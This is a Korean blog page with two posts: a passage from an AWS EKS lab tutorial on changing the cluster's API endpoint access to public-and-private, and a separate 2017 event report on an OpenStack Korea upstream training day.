위 준비가 완료되었다면 아래 명령어를 통해 실행하면 된다.

eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=$CLUSTER_NAME-nodegroup --node-type=t3.medium \
--node-volume-size=30 --vpc-public-subnets "$PubSubnet1,$PubSubnet2" --version 1.28 --ssh-access --external-dns-access --verbose 4​

 

총 15-20분 정도 소요되니 잠시 기다려보자. 기다리는 동안에 다른 터미널을 1개 더 열어 아래 명령어를 실행하면 클러스터가 생성되었는지 여부를 확인하는 데 도움이 된다.

while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------" ; sleep 1; done

클러스터 생성이 완료되면 터미널 상태는 다음과 같이 변경되고

AWS 콘솔에서도 EKS가 배포된 내용을 확인할 수 있다 (혹 콘솔에서 갱신이 안되었다면 새로고침 버튼을 클릭해보자).

 

EKS 클러스터 생성이 완료가 된 이후부터는 kubectl 명령어를 통해 EKS 클러스터에 여러 명령을 실행할 수 있게 된다. 스터디 중 여러 가지를 실행해보면서 많은 것들을 확인을 하였는데, 그 중 한 가지만 블로그에 정리해 보고자 한다.

4. 생성된 EKS 클러스터 확인 - 엔드포인트 액세스 변경 (Public -> Public and private)

EKS 클러스터 정보를 확인하기 위해서는 "kubectl cluster-info" 라는 명령어를 사용하면 된다.

(awesian@myeks:N/A) [root@myeks-host ~]# eksctl get nodegroup --cluster $CLUSTER_NAME --name $CLUSTER_NAME-nodegroup
CLUSTER NODEGROUP       STATUS  CREATED                 MIN SIZE        MAX SIZE        DESIRED CAPACITY        INSTANCE TYPE   IMAGE ID        ASG NAME              TYPE
myeks   myeks-nodegroup ACTIVE  2024-03-09T18:02:34Z    2               2               2                       t3.medium       AL2_x86_64      eks-myeks-nodegroup-eac71230-bb27-1b00-6c14-e2c96dfc5646       managed
(awesian@myeks:N/A) [root@myeks-host ~]# kubectl cluster-info
Kubernetes control plane is running at https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com
CoreDNS is running at https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.

뿐만 아니라 "eksctl get cluster" 명령어로도 확인이 가능하다. 한 가지 특이했던 점은 생성된 엔드포인트가 public이라는 것이다. Public이라는 의미는 해당 endpoint에 대한 네트워크 연결이 가능하다는 것을 의미하며, 해당 엔드포인트를 통해 Pod 생성 등을 진행하려면 추가 인증이 필요하나 간단한 version 확인은 public일 경우 별도의 인증을 거치지 않아도 위와 같이 생성한 EKS 클러스터에는 접근이 가능하였다.

콘솔에서 확인해 보더라도 API 서버 엔드포인트 액세스가 "Public"으로 나와있는 상황이다.

이를 "퍼블릭 및 프라이빗"으로 변경해보자. 변화 감지를 위해 총 3개의 터미널을 사용해보자. 2개 터미널은 모니터링 목적으로 사용한다.

# 터미널 A - 모니터링용 1
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS
while true; do dig +short $APIDNS ; echo "------------------------------" ; date; sleep 1; done

# 터미널 B - 모니터링용 2
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
while true; do ssh ec2-user@$N1 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo ; ssh ec2-user@$N2 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo "------------------------------" ; date; sleep 1; done

# 터미널 C - Public(본인 접속 IP만 제한)+Private 로 변경. 설정 후 약 8-10분 정도 이후 다른 터미널에 변화 감지 가능
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME --resources-vpc-config endpointPublicAccess=true,publicAccessCidrs="$(curl -s ipinfo.io/ip)/32",endpointPrivateAccess=true

기다려보면 터미널 A에서 2개의 public IP 로 보이던 부분이 갑자기 내부 네트워크 서브넷으로 변경된 부분을 확인할 수 있었다.

그런데 오른쪽은 변화가 없었는데, 이는 Public 및 Private 모두 활성화되다보니 기존 kube-proxy 및 kubelet이 이미 연결을 맺고 있는 네트워크 연결을 굳이 종료할 필요가 없어서가 아닌가 생각된다.

 

이후 "kubectl" 명령어를 실행하면 동작하지 않는다. 다음과 같이 실행해보면 오류 메시지와 함께 보이는 IP 주소가 Public IP가 아니라는 것을 확인할 수 있다. 즉, 클러스터 설정이 변경되면서 이제는 Private IP로 Endpoint를 반환하는 것이다.

(awesian@myeks:N/A) [root@myeks-host ~]# kubectl get node -v=6
I0310 03:44:52.743735   18383 loader.go:395] Config loaded from file:  /root/.kube/config
I0310 03:45:23.611890   18383 round_trippers.go:553] GET https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com/api/v1/nodes?limit=500  in 30861 milliseconds
I0310 03:45:23.612005   18383 helpers.go:264] Connection error: Get https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com/api/v1/nodes?limit=500: dial tcp 192.168.1.51:443: i/o timeout
Unable to connect to the server: dial tcp 192.168.1.51:443: i/o timeout
(awesian@myeks:N/A) [root@myeks-host ~]# kubectl cluster-info

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
Unable to connect to the server: dial tcp 192.168.2.122:443: i/o timeout

 

접속이 안된다는 것은 EKS Control plane 보안 그룹에서 서브넷에 접속 가능하도록 추가 설정을 해주어야 함을 의미한다. 다음 명령어를 통해 노드 보안 그룹에 myeks-host에서 노드(파드)에 접속 가능하도록 룰을 추가 설정하였다.

# EKS ControlPlane 보안그룹 ID 확인
aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query "SecurityGroups[*].[GroupId]" --output text
CPSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query "SecurityGroups[*].[GroupId]" --output text)
echo $CPSGID

# 노드 보안그룹에 myeks-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
aws ec2 authorize-security-group-ingress --group-id $CPSGID --protocol '-1' --cidr 192.168.1.100/32

또한 kubelet과 kube-proxy도 private IP 주소로 접속하도록 설정을 변경해보자. 다음 명령어를 실행한다.

# kube-proxy rollout
kubectl rollout restart ds/kube-proxy -n kube-system

# kubelet 은 개별 노드에서 systemctl restart kubelet을 실행하는 형태로 적용. $N1과 $N2 환경 변수가 설정되어 있어야 함.
for i in $N1 $N2; do echo ">> node $i <<"; ssh ec2-user@$i sudo systemctl restart kubelet; echo; done

위 첫 번째 명령어를 실행한 다음에는 kube-proxy에 대한 연결이 private IP로 이루어지는 것을 볼 수 있으며,

두 번째 명령어가 잘 실행되면 kubelet 또한 연결이 private IP로 이루어지는 것을 볼 수 있다.

5. 리소스 정리

실습을 완료한 다음에는 반드시 리소스를 삭제하여 불필요한 비용 발생을 최소화하도록 하자.

  • Amazon EKS 클러스터 삭제하기 (약 10분 정도 소요): eksctl delete cluster --name $CLUSTER_NAME
  • 위 과정이 완료된 후 AWS CloudFormation 스택 삭제하기: aws cloudformation delete-stack --stack-name myeks

(Recovered from my old article - originally posted on 2017.03.14 10:28 KST)

 

(참고: 영문 버전은 http://sdndev.net/11에서 확인하실 수 있습니다.)

 

지난 1회 업스트림 트레이닝에 이어 2017년 2월 11일 (토), 오전 10시부터 오후 5시까지

OpenStack 두 번째 로컬 업스트림 트레이닝 행사를 개최하였다.

 

올해는 OpenStack Days Korea 2017 행사를 7월 중순에 개최 예정이기에,

이번 두 번째 업스트림 트레이닝은 지난번 보다 길게, 토요일 오전 & 오후로 진행하는 식으로 계획하였으며,

실제 모집 및 진행하였던 상세 내역은 http://openstack-kr.github.io/upstream-training/2017/ 참고.

 

아무래도 지난 첫 업스트림 트레이닝과 달리 보다 길게 진행하기에

지난 업스트림 트레이닝보다 많은 분들께서 도와주셔야 행사를 잘 치를 수 있을 것 같은 생각에

이번에는 작년 11월에 업스트림 트레이닝 진행을 위한 스터디를 커뮤니티에서 모집하였고,

많은 분들이 참여해 주셨으며, 또한 업스트림 트레이닝에 멘토로 도와주셔서 행사를 잘 마칠 수 있었다고 생각한다.

 

(스터디 내용 참고: https://github.com/openstack-kr/openstack-study/tree/master/2016-fall-upstream )

 

- 업스트림 스터디 사진 #1 -

 

- 업스트림 스터디 사진 #2 -

 

 

평소에 오픈스택 스터디를 진행하면서 토즈 공간을 많이 이용하였으나,

이번 업스트림 트레이닝 때는 참가 인원을 30명 규모로 생각하였으며, 멘토링 및 실습 등을 위해 넉넉한 공간이

있으면 좋겠다고 생각하여 어떻게 하면 좋을지 많은 고민이 있었다.

다행히 이전에 여러 실습 등을 많이 치렀던 우분투 한국 커뮤니티에서 업스트림 트레이닝에서 다루는

Launchpad (오픈 소스 버그 트래킹 및 개발을 위해 우분투에서 많이 사용함, https://launchpad.net/ )도

같이 살펴볼 겸하여 공동 개최를 하기로 결정하였다.

또한 네이버 D2에서 공간 대여 가능한 D2 Startup Factory를 흔쾌히 대여 허락해 주셔서 스터디도 많은 분들과

재미있게 같이 하면서 필요한 행사 콘텐츠 및 모집 등을 차근차근 함께 진행해 나갈 수 있었다.

 

그러나.. 행사 4일 전 마지막 스터디에서 행사 진행 준비를 논의하던 중...

두둥! D2에 멀티탭이 없을 수도 있다는 사실을 인지하기 시작했다.

수, 목에 열심히 알아보았으나 안타깝게도 D2에서 여분의 멀티탭이 없었다.

그렇다고 행사 이틀 전에 장소를 바꿀 수는 없기에.. 이곳저것 수소문한 덕택에 도움을 주신 두 곳이 있다.

 

1. 나임네트웍스 (http://www.naimnetworks.com/)

본인이 2013년 10월~2014년 8월까지 재직하였던 회사로 나임아카데미 등 교육도 진행을 같이 하기에

혹시나 싶어 회사 전 동료 및 팀장님 (지금은 본부장님이라고 하심)께 여쭈어보니 남는 여분이 있으면 가능할 것 같다고 하셨으며, 정말 다행히 그 시기에 서버 rack에서 떼놓은 14구 멀티탭이 3개인가 있어 흔쾌히 빌려주셨다.

 

- 멀티탭 14구의 위엄! (Thanks to NAIM Networks, Korea) -

 

 

2. 모두의연구소 (http://modulabs.co.kr/)

2015년 초, 인공지능 스터디를 참여하였던 적이 있는데 그 때 현재 모두의연구소 소장님이신 김승일 님을 알게 되었다. 연구소 취지가 좋다고 생각하여, 시간이 허락될 때 스터디 하나를 직접 참가하고 싶은 마음이 크지만, 현실적으로 오픈스택을 보면서 모두의 연구소에서 하는 부분까지 살펴보는 건 참으로 쉽지 않은 것 같다. 소장님께서도 외부 교육 등을 많이 진행하시기에 물어보았으며, 금요일 오전에 연락되어 소장님께선 연구소에 안 계시지만 다른 분의 도움을 받아 힘들게 멀티탭 6구를 여러 개 대여할 수 있었다.

 

이러한 준비 + 많은 분들의 도움 덕택에 이번 2회 업스트림 트레이닝은 지난 번 1회때보다 구체적인 목표를 갖고

여러 질문 & 답변과 함께 재미있는 시간을 보낼 수 있었다고 생각한다.

 

- 제2회 업스트림 트레이닝 행사 끝나고 단체 사진 -

 

- 실습 중 -

 

- Etherpad를 사용한 설명 중 -

 

- 쉬는 시간이지만 토의중 -

 

- 즐거운 토론 중 -

 

 

다음 업스트림 트레이닝 행사도 잘 진행되면 좋을 것 같은데.. D2의 도움도 계속 필요할 것 같고

무엇보다 여러 멘토 분들과 함께하였지만 사실 혼자 Full로 진행하기에는 다소 지치는 측면도 있어..

보다 많은 한국 분들께서 오픈스택 업스트림에 기여하시고, 그 경험을 바탕으로 같이 즐겁게 차후 행사를 할 수 있으면 정말 좋을 것 같다는 생각을 해본다.

 

+ Recent posts